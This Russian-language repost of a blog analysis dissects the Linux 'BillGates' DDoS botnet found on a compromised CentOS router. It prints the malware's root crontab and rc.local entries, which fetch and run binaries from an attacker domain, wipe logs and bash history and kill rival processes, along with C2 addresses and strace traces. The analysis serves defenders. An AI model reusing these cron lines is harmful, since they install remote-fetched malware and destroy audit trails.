DDoS-троян для Linux “Bill Gates”

Не так давно, на ресурсе habrahabr я наткнулся на интересную статью от пользователя ValdikSS в которой он подробно расписал работу трояна для Linux, который занимается DDoS-ом с зараженных им машин. Я связался с ValdikSS и он разрешил перепечатать статью, а так же ее вторую часть. Я объеденил обе части в рамках одной статьи. Получился довольно интересный материал

Исследуем Linux Botnet BillGates

По словам ValdikSS к нему обратился другой пользователь habrahabr с просьбой проверить его домашний роутер, так как у того наблюдались определенные проблемы. Домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd и xfsdxd, запущенные из /etc:

root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd
root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

Начальный анализ

Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:

cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

«Хмм, ладно», подумал я. Полез в root’овский crontab:

*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
…
…
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
…
…
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Размером он был 183КБ, 4036 строчек.
С помощью cron троянец выполняет следующие задачи:
✔ Раз в минуту завершает процессы всех приложений, которые могут помещать его (троянца) работе:.IptabLes, nfsd4, profild.key, nfsd, DDosl, lengchao32, b26, codelove, node24;
✔ Примерно раз в полтора часа завершает работу всех своих процессов: kysapd, atdd, skysapd, xfsdx, ksapd;
✔ Примерно раз в два часа скачивает в папку /etc с адреса http://www.dgnfd564sdf.com:8080/[module_name] все свои компоненты
(module_name = имя модуля, например, cupsdd), предварительно удалив эти файлы из /etc
✔ Раз в полтора часа заново запускает все свои модули
✔ Каждую минуту затирает системные логи, историю команд bash и выполняет chmod 7777 [module_name]

К моменту, когда я зашел на сервер, эти процессы уже ничего не делали (не грузили процессор, не использовали сеть). Решил остановить crond, чтобы эти правила не выполнялись, а процессы пока не убивать. Натравил на них strace:

[root@Fatalsrv etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(< ... resuming interrupted call ...>) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, 
[[email protected] etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(< ... resuming interrupted call ...>) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, 
[root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, 0xfff19338, 4, 0)               = -1 ECONNRESET (Connection reset by peer)
close(3)                                = 0
futex(0x816e8a8, FUTEX_WAKE, 1)         = 1
futex(0x816e8a4, FUTEX_WAKE, 1)         = 1
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "< \0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, ^C <unfinished ...>
Process 3268 detached
[[email protected] etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, 0xfff19338, 4, 0)               = -1 ECONNRESET (Connection reset by peer)
close(3)                                = 0
futex(0x816e8a8, FUTEX_WAKE, 1)         = 1
futex(0x816e8a4, FUTEX_WAKE, 1)         = 1
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "< \0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, ^C <unfinished ...>
Process 3268 detached

Процессы почти ничего не делали, только изредка отправляли собранные с машины данные. Решил их убить, разумеется, с сигналом SIGKILL. Почистил crontab, почистил /etc/rc.local, удалил эти исполняемые файлы из /etc (к слову, они все имели SUID-бит, а на одном был Immunity-бит, и если не знать или не помнить про extended attributes файлов, то можно долго ломать голову, почему ничего нельзя с ним сделать: ни удалить, ни изменить), почистил /etc/profile от 422 строчек:

unset MAILCHECK
unset MAILCHECK

Что означает, что ботнет был на компьютере примерно 7 часов. Не так много, но и не мало, заархивировал все файлы себе и скачал их. Теперь нужно проверить, были ли изменены какие-то системные файлы. В CentOS для этого достаточно выполнить:

rpm -Va
rpm -Va

Исследование файлов ботнета

Первым делом, я воспользовался программой file, чтобы узнать побольше об этим исполняемых файлах:

atddd:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsddh:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
ksapdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
kysapdd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
xfsdxd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
atddd:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
cupsddh:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
ksapdd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
kysapdd:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
xfsdxd:   ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped

Not stripped! Вот так новость!
Мне почему-то понравился файл cupsdd, и я первым делом загрузил его, а не atddd. Сам не знаю почему, но это было совершенно правильно. Gates Итак, cupsdd — модуль «Gates».
md5 603170ad361f6e098c8681ed264155eb
sha1 1714fd31cc931e2a0eb97d25a076567af45dc6d8

Что же он делает, и почему он «Gates»? Ну, на это нам ответит IDA Pro, например.
14b8300d80f36329d4a5429b4d01b1a6

Что же делает этот модуль? Пытается инициализировать себя. Распаковывает RSA-данные, в моем случае это была строка:

116.10.189.246:30000:1:1:h:578856:579372:579888
116.10.189.246:30000:1:1:h:578856:579372:579888

Переменные из которой назначаются следующим образом:

g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_strNStart=579888
g_strConnTgt=116.10.189.246
g_iGatsPort=30000
g_iGatsIsFx=1
g_iIsService=1
g_strBillTail=h
g_strCryptStart=578856
g_strDStart=579372
g_strNStart=579888

Последние три параметра нужны для определения трех RSA-строк в случае обновления модулей.
2

✔ Пытается установить модуль «Bill»

Проверяет, не запущен ли уже он, путем бинда порта 10808. Если удалось забиндить — не запущен. Если нет, то убиваем процесс, PID которого хранится в lock-файле в /tmp/bill.lock Находит путь, где хранится текущий exe, путем чтения /proc/%d/exe, выделяет путь, добавляет ‘BillTail’, расшифрованного из пункта 1 (в моем случае был ‘h’), открывает его на запись и записывает туда файл, начиная со смещения 0xB1728 размером 335872. Форкается и запускает новый файл.

3

✔ Вызывает функцию daemon(), которая ребиндит текущие stdin, stdout и stderr на /dev/null
✔ Проверяет, запущен ли он сам (модуль «Gates») путем проверки файла /tmp/gates.lock. Если запущен, то Gates завершается.
✔ Добавляет распакованный модуль «Bill» в автозагрузку sysvinit путем создания наипростейшего init-скрипта в /etc/init.d/ c названием «DbSecuritySpt» вида:

#!/bin/bash
/path/to/bill
#!/bin/bash
/path/to/bill

И создает симлинки в /etc/rc[1-5].d/97DbSecuritySpt на него.
4

– Запускается функция MainProcess()

Читает основную информацию о системе, процессоре, оперативной памяти, сетевых картах, винчестерах.
5

Bill

Модуль «Bill» — DDoS модуль. Запакован UPX. В моем случае назывался “cupsddh”
md5 7fb3dce23d290166c7e52644b16faae6
sha1 98db5a311118c78d97aa514db7d8277535544926

– Умеет атаковать хосты по TCP, UDP, ICMP и методом DNS-амплификации. Умеет ограничивать себя в ресурсах CPU, переконфигурироваться на лету, самообновляться.
– Читает основную информацию о системе, процессоре, оперативной памяти, сетевых картах, винчестерах.
– Читает информацию о DNS.
– Делает system(«insmod /usr/lib/xpacket.ko»)
– При самообновлении пишет себя в /usr/lib/libamplify.so

Начинает слушать 127.0.0.1:10808. Может получать как конфиг от главного модуля, так и команды на атаку.

«Стучащий» модуль

Файл “ksapdd” — какой-то модуль, который отправляет статистику и информацию на главные сервера. Сервер и порт зашиты в программу. В моем случае, это были 121.12.110.96:10991, которые элементарно декодируются:
6

Файлы kysapdd, skysapdd, xfsdxd и atddd являются копиями ksapdd, но первый подключается к 112.90.252.76:10991, второй к 112.90.22.197:10991, третий к 116.10.189.246:10991, а четвертый — к 202.103.178.76:10991

Кого атакует BillGates?

Похоже, ботнет BillGates распространяется все больше и больше — уже 4 знакомых человека обратились ко мне с вопросами, как от него избавиться, и что это такое. Мне удалось заполучить свежую версию, которая нормально работала на моей системе (получала команды с сервера и DOS-ила), и это весело!

Модуль «Gates» теперь состоит из 2 модулей: «Beikong» и «Monitor (moni)». Если он запускается по пути /usr/bin/pojie (в моем случае), то запускается moni, если же по какому-то другому пути, то Beikong. Beikong, по сути, является хренотенью, которая переконфигурирует и обновляет другие модули, а moni отслеживает состояние всех модулей (и перезапускает их в случае необходимости), собирает с них статистику и отправляет ее на сервер через Beikong. Если /usr/bin/pojie не существует, то Beikong скопирует себя туда и запустит.

7

botnet Linux BillGates

Botnet Linux BillGates

Beikong пишет путь до себя в /tmp/notify.file, а moni пишет свой PID в /tmp/moni.lock. Gates все так же дропает простой модуль DDoS, запакованный UPX (в моем случае, он опять назывался cupsddh). Больше никаких серьезных изменений нет.

Время развлекаться!

Так как ботнет заработал у меня на компьютере и даже кого-то начал атаковать, я решил посмотреть, в каком виде ходит трафик между CnC-серверами и ботами. Как и стоило ожидать, никакого шифрования не было, и все ходило в открытом виде. Нужно заметить, что Gates использует один тип CnC-серверов (для Bill-модуля и отправки статистики через moni), а «Melinda» (тот модуль, который я обозвал «стучащим» в предыдущей статье. На самом деле, это продвинутый DDoS-модуль, и я ошибся. Название в коде не встречалось, и я решил дать такое) другой, и протокол коммуникации у них разный, но сходства есть.

При запуске, оба модуля подключаются к своим серверам и отправляют HELLO-пакет: у Gates он содержит имя ОС, ядра, имя и версию модуля, а Melinda только имя ОС и ядра. Данные в пакетах я заменил в соответствии с рекомендациями из знаменитого видео.

6a75c9cedea0c08a5ac46b762c214993

f5aef604868f0429748a9cc47ebee5e6

Затем, они перекидываются друг с другом PING-пакетами.
Gates CnC может отправить сразу несколько серверов для атаки через cupsddh. Модуль не особо умный, умеет атаковать только по TCP и не умеет подделывать пакеты, чего не скажешь про Melinda, которая умеет атаковать по TCP, UDP, ICMP и 2 типам DNS.

Трекинг

В общем, решил я написать трекер этого ботнета: клиента, который бы подключался к CnC-серверам и получал команды на DDoS. Трекер работает как с серверами Gates, так и с Melinda. И написал – github.com/ValdikSS/billgates-botnet-tracker

Примерно неделю я отслеживал действия ботнета и записывал результаты в базу.
ddos, bot, linux

bot linux trojan bill gates

linux bot net ddos

GRAPH_4

Да, я настолько ленивый, что графики рисовал мне phpmyadmin.
Отследить действия ботнета в реальном времени вы можете здесь: billgates.valdikss.org.ru/

